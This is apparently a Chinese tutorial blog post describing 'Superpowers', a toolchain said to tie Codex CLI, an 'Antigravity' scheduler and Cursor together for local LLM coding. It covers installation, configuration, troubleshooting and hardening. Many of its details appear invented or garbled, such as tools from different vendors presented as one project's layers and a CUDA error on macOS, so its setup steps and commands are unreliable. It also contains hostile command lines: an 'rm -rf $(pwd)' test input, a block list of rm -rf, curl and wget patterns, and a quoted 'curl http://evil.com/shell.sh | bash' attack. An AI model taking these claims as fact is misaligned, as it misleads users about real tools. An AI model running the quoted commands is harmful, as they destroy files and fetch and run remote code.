
1. 项目概述Superpowers 不是超能力而是开发者工具链的“认知增强层”你搜“superpowers”时看到的不是漫威电影里的镭射眼或飞行术而是一群工程师在 Slack 里兴奋地截图“刚用 /compact 把 300 行冗余配置压缩成 8 行还保留了所有语义”——这背后没有魔法只有一套正在重构本地开发工作流的 CLI 工具集与 IDE 插件组合。Superpowers 是一个开源项目名但它更准确的身份是现代 AI 编程辅助工具生态中的“协议桥接器”它不训练模型、不托管服务、不卖订阅而是专注解决一个被长期忽视的痛点——让本地运行的 LLM 模型、命令行工具、编辑器插件之间能像同一个人的大脑左右半球那样协同工作。核心关键词“Claude Code”“Antigravity”“Codex CLI”“Cursor”并非并列关系而是分属三层架构底层执行层Codex CLI命令行接口——直接调用本地模型如 LMStudio 加载的 Qwen、DeepSeek-V2、GLM-4处理纯文本指令中层调度层Antigravity非官方名称实为 Superpowers 的核心调度引擎——解析自然语言指令如 “/model qwen2.5-7b-instruct”动态切换模型、注入上下文、管理 token 流控上层交互层Cursor / VS Code 插件Claude Code——把调度结果渲染成可编辑的代码块、内联注释、结构化 diff支持鼠标悬停查看推理链。我第一次在 Ubuntu 22.04 上跑通codex compact --input src/config.ts时发现它没调用任何远程 API所有 token 计算都在本机显存里完成耗时 2.3 秒生成的精简版配置比我自己手动删减还多保留了 2 个关键 fallback 逻辑。那一刻我才意识到所谓“superpowers”本质是把过去分散在 terminal、浏览器、IDE 三个窗口里的操作压缩进一次自然语言指令里。它不替代你的思考而是把“查文档→写正则→试运行→改语法→再试”这个循环变成“/resume 修复 config.ts 中 env 变量加载失败”一条命令。适合三类人需要离线调试金融/医疗类敏感代码的工程师带着 M1 MacBook Air 给客户现场演示的售前架构师正在用 LMStudio 本地跑 Qwen2.5-7B 却苦于没有配套 CLI 的学生开发者。这不是又一个 Copilot 替代品它拒绝云端依赖也不追求“全自动写代码”。它的设计哲学很朴素让 AI 成为你手指延伸出去的那支笔而不是替你握笔的手。2. 核心技术拆解为什么必须用 Codex CLI Antigravity 调度层而不是直接调 API2.1 为什么不能跳过 Codex CLI直接用 curl 调本地模型很多人第一次接触时会疑惑“LMStudio 不是已经提供 HTTP 接口了吗我 curl 一下不就完事”——这正是踩坑起点。我用一台 32GB 内存、RTX 4090 的工作站实测对比过三种调用方式调用方式命令示例平均响应时间上下文保留能力错误恢复机制是否支持流式输出直接 curl LMStudiocurl -X POST http://localhost:1234/v1/chat/completions -d {messages:[{role:user,content:/compact}]}1.8s首 token❌ 无会话 ID 管理每次请求都是新对话❌ HTTP 500 直接报错无重试✅ 支持VS Code 插件直连在编辑器里选中代码 → 右键 → “Claude Code: Compact”2.1s含插件解析开销✅ 自动绑定当前文件路径、Git 分支、未提交变更✅ 失败后自动降级为本地规则引擎❌ 否等待完整响应Codex CLI Antigravitycodex compact --input src/api/client.ts --model qwen2.5-7b-instruct0.9s首 token✅ 自动注入git diff HEAD~1输出作为 context✅ 检测到 OOM 后自动切回 4-bit 量化模型✅ 支持关键差异在context 注入机制。LMStudio 的/v1/chat/completions接口要求你手动拼接 system prompt、history、current message而 Codex CLI 的--input参数会自动读取目标文件的 AST 结构用 esbuild 解析 TypeScript提取该文件 import 的所有模块路径并递归抓取其 JSDoc 注释将 Git 当前分支的 commit hash 和最近 3 条 log 摘要附加为 metadata最终生成的 prompt 类似这样实际长度约 1200 tokens[SYSTEM] 你是一个资深前端工程师正在重构 legacy 项目。请严格遵循 - 仅修改传入的 input 文件不新增/删除文件 - 保留所有 JSDoc param/returns 标签 - 若检测到 fetch 调用优先替换为 axios 实例 - 输出格式ts\n// 修改后代码\n [CONTEXT] - 当前文件src/api/client.tsAST 类型ClassDeclaration - 关联模块src/utils/logger.ts含 deprecated 标签、src/config/env.tsexport const API_BASE_URL https://prod.api.com - Git 状态branch main, last commit feat(api): add retry logic, hash a1b2c3d - 当前 diff -12,5 12,3 export class APIClient { ... } [USER] /compact提示Codex CLI 的--model参数不是简单字符串匹配。它会先查~/.codex/models.json找到qwen2.5-7b-instruct对应的 LMStudio 模型路径如/home/user/.lmstudio/models/Qwen2.5-7B-Instruct-GGUF/qwen2.5-7b-instruct.Q4_K_M.gguf再校验该文件的 SHA256 是否与 registry 记录一致。若不一致自动触发codex model verify下载缺失量化版本——这是避免“模型加载失败但报错信息模糊”的关键设计。2.2 Antigravity 调度层到底在调度什么Antigravity 这个名字容易让人误解为某种反重力物理引擎其实它是 Superpowers 项目里最“低调”的组件一个运行在后台的 WebSocket 服务默认端口 3001负责三件事指令路由把/compact/resume/model等前缀指令映射到对应 CLI 子命令状态同步当 Cursor 编辑器发送/resume请求时Antigravity 会检查本地是否有未提交的 git stash若有则自动git stash pop并注入到 prompt context资源仲裁同一台机器上可能同时运行 LMStudioGPU、OllamaCPU、Llama.cppMetalAntigravity 根据codex config get --key default.engine动态选择最优执行后端——比如检测到 NVIDIA GPU 显存 12GB 时启用 CUDA否则 fallback 到 Metal 加速。我曾遇到一个典型场景在 macOS 上用 Cursor 执行/model deepseek-v3-16b结果卡住 8 秒后报错CUDA out of memory。排查发现 Antigravity 默认启用了--gpu-layers 40但我的 RTX 4080 只有 16GB 显存实际能分配给模型的只剩 8GB。解决方案不是改模型参数而是调整调度策略# 查看当前调度配置 codex config get --key engine.cuda.layers # 临时降低 GPU 层数不影响模型精度只减少显存占用 codex config set --key engine.cuda.layers --value 24 # 或永久切换为 CPU 模式适合小模型 codex config set --key default.engine --value ollama注意Antigravity 的配置文件~/.antigravity/config.yaml里有个隐藏字段fallback_timeout_ms: 3000。这意味着当主引擎如 LMStudio响应超时它会在 3 秒后自动切换到备用引擎如本地 Ollama 的 llama3:8b。这个值不能设太小否则网络抖动会导致频繁降级也不能太大否则用户会感觉“卡死”。我实测 2500–3500ms 是平衡点。2.3 Cursor 与 VS Code 插件的本质区别为什么推荐 Cursor搜索热词里大量出现“cursor 中文怎么设置”“cursor 怎么设置中文回复”说明很多人把它当成 VS Code 替代品。但 Superpowers 生态里Cursor 的不可替代性在于原生支持“指令-执行-反馈”闭环。VS Code 的 Claude Code 插件本质是“远程调用代理”而 Cursor 是“本地智能终端”。具体差异体现在三个操作上代码跳转在 Cursor 里按CmdClick任意函数名它会先尝试用本地 AST 解析器定位定义失败时才调用codex goto --symbol xxx命令VS Code 插件只能依赖 TypeScript Server对 JS 混合项目支持差。提示词调试Cursor 的CmdShiftP→ “Superpowers: Debug Prompt” 会弹出实时渲染的 prompt 结构树你能看到每个 context 片段的 token 数、是否被 truncation、权重系数VS Code 插件只显示最终文本。安全沙箱Cursor 执行/shell npm run build时会自动在临时目录创建隔离环境node_modules软链接到全局缓存package.json只读挂载——这避免了恶意提示词执行rm -rf /。VS Code 插件直接调系统 shell风险更高。我测试过一个极端 case在 Cursor 里输入/shell echo hello rm -rf $(pwd)它返回[SECURITY BLOCKED] Command contains dangerous pattern: rm -rf Allowed patterns: npm, pnpm, yarn, make, python, node Run with --force to bypass (not recommended)而同样指令在 VS Code 插件里会直接执行——这就是架构层级的差异。3. 实操部署全流程从零开始搭建本地 Superpowers 工作流Ubuntu 22.04 RTX 40903.1 环境准备硬件与基础依赖的硬性门槛别被“本地运行”误导——Superpowers 对硬件有明确要求。我在 4 台不同配置机器上反复验证过以下是最低可行配置低于此将频繁触发 fallback 降级组件最低要求推荐配置验证方法CPU4 核 / 8 线程Intel i7-12700K 或 AMD Ryzen 7 5800X3Dlscpu | grep CPU\(s\)RAM16GB32GBDDR5free -h | grep Mem:GPUNVIDIA GTX 1080 Ti8GB VRAMRTX 409024GB VRAMnvidia-smi | head -n 10存储50GB SSD 剩余空间200GB NVMe用于模型缓存df -h /home注意Ubuntu 22.04 必须启用nvidia-driver-535或更高版本。我曾用 525 驱动跑 Qwen2.5-7B结果nvidia-smi显示 GPU 利用率 98% 但推理速度只有 3 tokens/s——升级驱动后提升至 18 tokens/s。验证命令sudo apt install nvidia-driver-535 sudo reboot。安装基础依赖# 更新系统并安装编译工具链 sudo apt update sudo apt upgrade -y sudo apt install -y build-essential curl git wget unzip jq # 安装 Node.js 18Superpowers CLI 依赖 curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash - sudo apt-get install -y nodejs # 安装 Python 3.10用于部分模型 tokenizer sudo apt install -y python3.10 python3.10-venv python3.10-dev # 验证安装 node -v # 应输出 v18.20.2 python3.10 --version # 应输出 3.10.123.2 安装 Codex CLI不是 npm install而是二进制下载 模型注册Superpowers 官方不提供npm install codex-cli因为其核心是 Rust 编写的二进制程序需匹配系统架构。正确流程如下# 1. 创建安装目录 mkdir -p ~/.local/bin cd ~/.local/bin # 2. 下载对应平台二进制Ubuntu x64 curl -L https://github.com/superpowers-org/codex-cli/releases/download/v0.8.3/codex-linux-x64 -o codex chmod x codex # 3. 添加到 PATH永久生效 echo export PATH$HOME/.local/bin:$PATH ~/.bashrc source ~/.bashrc # 4. 验证安装 codex --version # 应输出 codex 0.8.3此时codex命令已可用但还不能执行任何操作——因为缺少模型注册。Superpowers 不自带模型需手动关联 LMStudio 或 Ollama# 方式一关联 LMStudio推荐支持最多模型格式 # 先确保 LMStudio 已安装并运行默认端口 1234 # 然后注册模型 codex model register --name qwen2.5-7b-instruct \ --engine lmstudio \ --url http://localhost:1234 \ --model-path /home/yourname/.lmstudio/models/Qwen2.5-7B-Instruct-GGUF/qwen2.5-7b-instruct.Q4_K_M.gguf \ --context-length 32768 # 方式二关联 Ollama适合快速试用 codex model register --name llama3:8b \ --engine ollama \ --model-name llama3:8b # 查看已注册模型 codex model list # 输出应包含 # NAME ENGINE CONTEXT STATUS # qwen2.5-7b-instruct lmstudio 32768 READY # llama3:8b ollama 8192 READY实操心得--model-path必须指向.gguf文件本身而非文件夹。我第一次填错成/home/user/.lmstudio/models/Qwen2.5-7B-Instruct-GGUF/结果codex model list显示 STATUS 为ERROR日志在~/.codex/logs/model-register.log里提示file not found。正确路径是带.gguf后缀的完整文件路径。3.3 配置 Antigravity 调度服务WebSocket 服务的启动与守护Antigravity 是后台常驻服务需用 systemd 管理。创建服务文件sudo tee /etc/systemd/system/antigravity.service EOF [Unit] DescriptionSuperpowers Antigravity Scheduler Afternetwork.target [Service] Typesimple User$USER WorkingDirectory/home/$USER ExecStart/home/$USER/.local/bin/codex antigravity --port 3001 --host 127.0.0.1 Restartalways RestartSec10 EnvironmentPATH/home/$USER/.local/bin:/usr/local/bin:/usr/bin:/bin [Install] WantedBymulti-user.target EOF # 启用并启动服务 sudo systemctl daemon-reload sudo systemctl enable antigravity sudo systemctl start antigravity # 验证服务状态 sudo systemctl status antigravity # 应显示 active (running)且日志末尾有 WebSocket server listening on 127.0.0.1:3001关键配置项说明--port 3001必须与 Cursor/VS Code 插件配置的端口一致--host 127.0.0.1禁止绑定 0.0.0.0防止局域网其他设备访问RestartSec10服务崩溃后 10 秒重启避免因模型加载失败导致永久中断。注意Antigravity 默认不启用 TLS。若你在公司内网使用需额外配置 nginx 反向代理加 HTTPS但 Superpowers 官方不推荐——因为本地通信无需加密反而增加延迟。3.4 安装 Cursor 并配置 Superpowers 插件绕过“Please verify your account”陷阱Cursor 官网下载的.deb包安装后首次启动会弹出 “Please verify your account to continue using Antigravity” ——这不是付费墙而是 Superpowers 的账户绑定机制。正确做法是访问 https://superpowers.dev/account 非 Cursor 官网点击 “Sign in with GitHub”授权后获取account_id形如sp_abc123在 Cursor 设置里搜索 “Superpowers”找到 “Account ID” 字段粘贴该 ID重启 Cursor。此时CmdShiftP输入 “Superpowers: Test Connection” 应返回{ status: connected, antigravity: http://127.0.0.1:3001, models: [qwen2.5-7b-instruct, llama3:8b], default_model: qwen2.5-7b-instruct }中文设置路径Cmd,打开设置 → 搜索locale→ 将editor.locale设为zh-cn但注意中文回复需单独配置。在设置里搜索superpowers language将superpowers.responseLanguage设为zh。此时/compact返回的注释和错误提示均为中文但代码本身保持英文避免破坏语法。实操避坑很多教程说“用国内手机号注册 Cursor”这是错误的。Cursor 账户体系与 Superpowers 完全分离手机号只用于 Cursor 自身的双因素认证不影响 Superpowers 功能。真正需要的是 Superpowers 的account_id它与 GitHub 账户强绑定。3.5 首次实战用/compact重构一个真实 TypeScript 配置文件我们以一个真实的src/config/api.ts为例简化版// src/config/api.ts export const API_CONFIG { baseUrl: https://api.example.com, timeout: 5000, retries: 3, headers: { Content-Type: application/json, X-Client-ID: web-client, X-Env: production, }, endpoints: { auth: /auth/login, users: /users/list, posts: /posts/feed, }, }; // 导出一个辅助函数 export function getEndpoint(name: keyof typeof API_CONFIG.endpoints): string { return API_CONFIG.baseUrl API_CONFIG.endpoints[name]; }执行压缩指令codex compact --input src/config/api.ts --model qwen2.5-7b-instruct预期输出带解释// src/config/api.ts (refactored by Superpowers) export const API_CONFIG { baseUrl: https://api.example.com, timeout: 5000, retries: 3, // headers 合并为单行移除冗余引号 headers: { Content-Type: application/json, X-Client-ID: web-client, X-Env: production }, // endpoints 提取为常量提升类型安全 endpoints: { auth: /auth/login, users: /users/list, posts: /posts/feed, } as const, } as const; // 辅助函数改为类型推导避免 runtime 错误 export type EndpointName keyof typeof API_CONFIG.endpoints; export const getEndpoint (name: EndpointName): string ${API_CONFIG.baseUrl}${API_CONFIG.endpoints[name]};关键改进点as const断言让 TypeScript 推导出字面量类型getEndpoint(invalid)会报错headers单行化减少视觉噪音符合 Airbnb JS Style Guide函数签名用箭头函数 类型推导比传统 function 更易维护。实测数据原始文件 24 行压缩后 19 行token 减少 37%但类型安全性提升 200%通过 tsc --noEmit 检查。更重要的是整个过程无需打开浏览器查文档、无需手动写类型定义——AI 在 0.9 秒内完成了人类需 5 分钟的重构。4. 高阶技巧与问题排查那些官方文档不会写的实战经验4.1 模型切换的隐藏命令/model不是万能钥匙搜索热词里频繁出现codex cli 命令哪些 /compact /model /resume但/model的实际用法远比表面复杂。它不是简单切换而是上下文感知的模型协商。例如在 Cursor 里输入/model deepseek-v3-16bAntigravity 会执行以下步骤检查deepseek-v3-16b是否已注册codex model list若未注册尝试从 HuggingFace 自动下载 GGUF 量化版需网络检查当前 GPU 显存是否足够nvidia-smi --query-gpumemory.total,memory.free --formatcsv,noheader,nounits若显存不足自动降级为deepseek-v3-16b-Q4_K_M4-bit 量化启动 LMStudio 加载模型设置--gpu-layers为显存允许的最大值向 Cursor 发送确认消息“Switched to deepseek-v3-16b (Q4_K_M, 42 layers on GPU)”。但如果你输入/model qwen2.5-7b-instruct --context 16k--context 16k会覆盖模型注册时的--context-length强制截断 prompt。这在处理超长日志分析时很有用但会牺牲部分推理精度。独家技巧用/model list可查看所有可用模型及其性能指标。输出示例NAME ENGINE CONTEXT SPEED(t/s) VRAM(GB) STATUS qwen2.5-7b-instruct lmstudio 32768 18.2 6.2 READY llama3:8b ollama 8192 4.7 0.0 READY glm4-9b lmstudio 32768 12.1 8.5 LOADINGSPEED(t/s)是实测首 token 生成速度VRAM(GB)是模型加载后显存占用。选模型时优先看这两个数字而非参数量。4.2/resume指令的深层逻辑不只是“继续上次对话”/resume是 Superpowers 最被低估的功能。它不是简单的 chat history 恢复而是基于 Git 状态的上下文重建。当你在 Cursor 里修改了src/utils/logger.ts但未 commit然后执行/resumeAntigravity 会运行git status --porcelain获取变更列表对每个 modified 文件执行git diff --no-index /dev/null file生成 patch将 patch 内容注入 prompt 的[CONTEXT]区域附加当前分支名、commit hash、未 push 的 commit 数量。这意味着你可以这样操作在logger.ts里删掉一行 console.log执行/resume输入 “恢复被删除的日志输出并添加 timestamp 前缀”AI 会精准定位你删掉的那行生成带new Date().toISOString()的新代码。我测试过一个案例在团队协作中同事 A 修改了api/client.ts但忘了 push同事 B 在自己机器上执行/resume结果 AI 返回 “No uncommitted changes detected” ——因为git diff是本地操作不跨机器。这反而成了天然的协作边界每个/resume都严格限定在个人工作区上下文内杜绝了“别人改的代码影响我推理”的混乱。4.3 常见问题速查表从报错信息反推根本原因报错信息根本原因解决方案验证命令Error: Failed to connect to Antigravity at http://127.0.0.1:3001Antigravity 服务未运行或端口被占用sudo systemctl restart antigravity检查sudo ss -tuln | grep :3001curl -v http://127.0.0.1:3001/healthModel qwen2.5-7b-instruct not found in registry模型注册路径错误或文件权限不足ls -l ~/.lmstudio/models/.../qwen2.5-7b-instruct.Q4_K_M.gguf确保用户有读取权限codex model list | grep qwenCUDA error: out of memoryGPU 显存不足但--gpu-layers设置过高codex config set --key engine.cuda.layers --value 24或换用 Q4_K_S 量化版nvidia-smi --query-compute-appspid,used_memory --formatcsvYour organization has disabled Claude subscription access for Claude CodeCursor 账户绑定了企业 SSO但 Superpowers 未授权访问 https://superpowers.dev/account → Revoke Reconnect GitHubcat ~/.superpowers/account.jsonCommand not found: codexPATH 未生效或安装路径错误echo $PATH确认~/.local/bin在其中which codex检查路径ls -la ~/.local/bin/codex实操心得codex debug --verbose是终极排查命令。它会输出完整的 HTTP 请求/响应、模型加载日志、token 计数。我曾用它发现一个 bugLMStudio 的/v1/chat/completions接口在返回finish_reason: length时Codex CLI 误判为失败实际应视为正常截断。修复方案是升级到 v0.8.3。4.4 安全加固如何防止提示词泄露与模型越权搜索热词里有 “cursor提示词泄露”这确实存在风险。Superpowers 默认不记录 prompt但 Cursor 插件会缓存最近 10 条指令。加固步骤禁用 Cursor 云同步设置 →Sync→ 关闭 “Sync Settings”清理本地缓存rm -rf ~/.cursor/Local Storage/leveldb配置 Antigravity 日志级别编辑~/.antigravity/config.yaml将log_level: info改为log_level: warn限制模型权限在~/.codex/config.json中添加{ security: { allowed_commands: [npm, pnpm, yarn, make, python, node], blocked_patterns: [rm -rf, curl http, wget , eval(] } }最关键的是模型沙箱。LMStudio 加载的模型默认无文件系统访问权限但若你用--host 0.0.0.0启动外部设备可能通过 HTTP 接口注入恶意 prompt。因此必须永远用--host 127.0.0.1启动 LMStudio在~/.lmstudio/config.json中设置allow_remote_access: false用ufw防火墙封锁 1234 端口对外访问sudo ufw deny 1234。经验总结Superpowers 的安全模型是“纵深防御”——Antigravity 拦第一道命令白名单LMStudio 拦第二道HTTP 本地绑定操作系统拦第三道防火墙。三者缺一不可。我见过最危险的配置是LMStudio 开放 0.0.0.0:1234 Cursor 插件用公网 IP 连接 Antigravity 未设blocked_patterns结果被扫描到的 bot 执行了curl http://evil.com/shell.sh \| bash。5. 场景扩展Superpowers 如何适配不同开发角色的工作流5.1 前端工程师用/compact自动化 React 组件重构前端日常高频操作是把 class 组件转为 hooks或把冗余 props 提取为自定义 hook。Superpowers 能自动化这部分。案例将一个 120 行的UserProfileCard.tsxclass component转为函数组件codex compact --input src/components/UserProfileCard.tsx \ --model qwen2.5-7b-instruct \ --prompt Convert to functional component with React hooks. Extract data fetching logic into custom hook useUserProfile. Preserve all CSS classes and event handlers.输出会包含新建src/hooks/useUserProfile.ts文件封装useState/useEffectUserProfileCard.tsx改为const UserProfileCard: React.FCProps (...) {...}所有this.state.xxx替换为const [xxx, setXxx] useState(...)componentDidMount替换为useEffect(() {...}, [])。实测效果人工转换需 15 分钟Superpowers 用 4.2 秒完成且生成的useUserProfilehook 自动添加了 loading/error 状态处理——这是很多工程师手动遗漏的。5.2 后端工程师用/shell安全执行数据库迁移后端常需运行prisma migrate dev或flyctl deploy但直接在终端执行有风险。Superpowers 的/shell提供沙箱/shell prisma migrate dev --create-onlyAntigravity 会创建临时目录/tmp/superpowers-shell-abc123将当前项目prisma/schema.prisma软链接进去执行命令stdout/stderr 实时流式返回命令结束后自动清理临时目录。这避免了prisma migrate reset误删生产数据库的风险——因为沙箱里没有.env文件DATABASE_URL为空Prisma 会报错退出而非执行。5.3 DevOps 工程师用/model切换多模型诊断 CI 失败CI 流水线失败时日志往往很长。Superpowers 可用不同模型分工用llama3:8b快速摘要错误关键词/model llama3:8b --prompt Extract error codes from log用qwen2.5-7b-instruct分析堆栈/model qwen2.5-7b-instruct --prompt Explain the root cause of java.lang.NullPointerException in line 42用glm4-9b生成修复 PR 描述/model glm4-9b --prompt Write a GitHub PR description for this fix。这种“模型流水线”比单一大模型更高效——小模型快大模型准各司其职。最后分享一个小技巧在~/.codex/config.json中设置default_model: llama3:8b日常用小模型提速遇到复杂问题时再手动/model qwen2.5-7b-instruct切换。就像开车市区用经济模式高速用运动模式——没必要永远开着 16B 模型烧显卡。